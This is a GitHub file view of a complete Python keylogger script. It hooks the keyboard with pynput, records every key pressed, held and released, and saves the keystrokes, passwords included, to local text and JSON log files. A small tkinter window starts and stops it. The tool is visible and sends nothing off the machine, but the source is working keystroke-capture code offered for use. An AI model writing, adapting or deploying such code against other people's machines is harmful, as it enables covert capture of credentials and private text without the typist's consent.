-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathkeylogger.py
126 lines (90 loc) · 3.02 KB
/
keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
from tkinter import CENTER as _CENTER
from tkinter import RIGHT as _RIGHT
from tkinter import LEFT as _LEFT
from tkinter import Tk as _Tk
from tkinter import Button as _Button
from tkinter import Label as _Label
from pynput import keyboard as _keyboard
from typing import Any as _Any
from datetime import datetime as _dt
from json import dumps as _dumps
keys_used: list | None = []
flag: bool = False
keys: str = ""
now: _dt = _dt.now()
def generate_text_log(key: _Any) -> None:
"""
Generates a text log file containing the recorded keystrokes.
Args:
key (Any): The keystroke data to write into the log file.
"""
with open("./out/key_log.txt", "w+") as KEYS:
KEYS.write(key)
def generate_json_file(used_keys: _Any) -> None:
"""
Generates a JSON log file with keystroke events.
Args:
used_keys (Any): A list of key events to log in JSON format.
"""
with open("./out/key_log.json", "+wb") as key_log:
key_list_bytes = _dumps(used_keys).encode()
key_log.write(key_list_bytes)
def on_press(key: _Any) -> None:
"""
Handles key press events, logging the pressed or held keys.
Args:
key (Any): The key that was pressed.
"""
global flag, keys_used, keys
if not flag:
keys_used.append({"Pressed": f"{key}"})
flag = True
if flag:
keys_used.append({"Held": f"{key}"})
generate_json_file(keys_used)
def on_release(key: _Any) -> None:
"""
Handles key release events and updates log files.
Args:
key (Any): The key that was released.
"""
global flag, keys_used, keys
keys_used.append({"Released": f"{key}"})
if flag:
flag = False
generate_json_file(keys_used)
keys = keys + str(key)
generate_text_log(str(keys))
_LISTENER = _keyboard.Listener(on_press=on_press, on_release=on_release)
def start_keylogger():
"""
Initiates the keylogger, enabling keystroke logging.
"""
listener = _LISTENER
listener.start()
label.config(
text="[+] Keylogger is running!\n[!] Saving the keys in 'keylogger.txt'"
)
start_button.config(state="disabled")
stop_button.config(state="normal")
def stop_keylogger():
"""
Stops the keylogger, halting keystroke logging.
"""
listener = _LISTENER
listener.stop()
label.config(text="Keylogger stopped.")
start_button.config(state="normal")
stop_button.config(state="disabled")
if __name__ == "__main__":
root = _Tk()
root.title("Keylogger")
label = _Label(root, text='Click "Start" to begin key logging...')
label.config(anchor=_CENTER)
label.pack()
start_button = _Button(root, text="Start", command=start_keylogger)
start_button.pack(side=_LEFT)
stop_button = _Button(root, text="Stop", command=stop_keylogger, state="disabled")
stop_button.pack(side=_RIGHT)
root.geometry("250x250")
root.mainloop()